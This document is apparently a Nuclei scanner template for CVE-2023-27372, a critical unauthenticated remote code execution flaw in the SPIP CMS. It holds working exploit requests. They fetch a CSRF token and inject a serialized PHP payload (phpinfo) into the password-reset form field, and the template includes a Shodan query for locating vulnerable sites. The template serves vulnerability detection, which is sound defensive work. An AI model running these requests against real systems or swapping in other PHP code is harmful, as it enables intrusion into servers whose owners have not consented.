CVE-2023-27372 – CVE Helper

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POC / CVE-2023-27372.yaml YAML
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id: CVE-2023-27372

info:
  name: SPIP - Remote Command Execution
  author: DhiyaneshDK,nuts7
  severity: critical
  description: |
    SPIP before 4.2.1 allows Remote Code Execution via form values in the public area because serialization is mishandled. The fixed versions are 3.2.18, 4.0.10, 4.1.8, and 4.2.1.
  reference:
    - https://packetstormsecurity.com/files/171921/SPIP-Remote-Command-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27372
    - https://github.com/nuts7/CVE-2023-27372
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-27372
  metadata:
    max-request: 1
    shodan-query: html:"spip.php?page=backend"
    verified: "true"
  tags: cve,cve2023,spip,rce

http:
  - raw:
      - |
        GET /spip.php?page=spip_pass HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /spip.php?page=spip_pass HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        page=spip_pass&formulaire_action=oubli&formulaire_action_args={{csrf}}&oubli=s:19:"<?php phpinfo(); ?>";

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "PHP Extension"
          - "PHP Version"
          - "<!DOCTYPE html"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: csrf
        group: 1
        internal: true
        part: body_1
        regex:
          - "name='formulaire_action_args'[^>]*value='([^']*)'"

      - type: regex
        part: body_2
        group: 1
        regex:
          - '>PHP Version <\/td><td class="v">([0-9.]+)'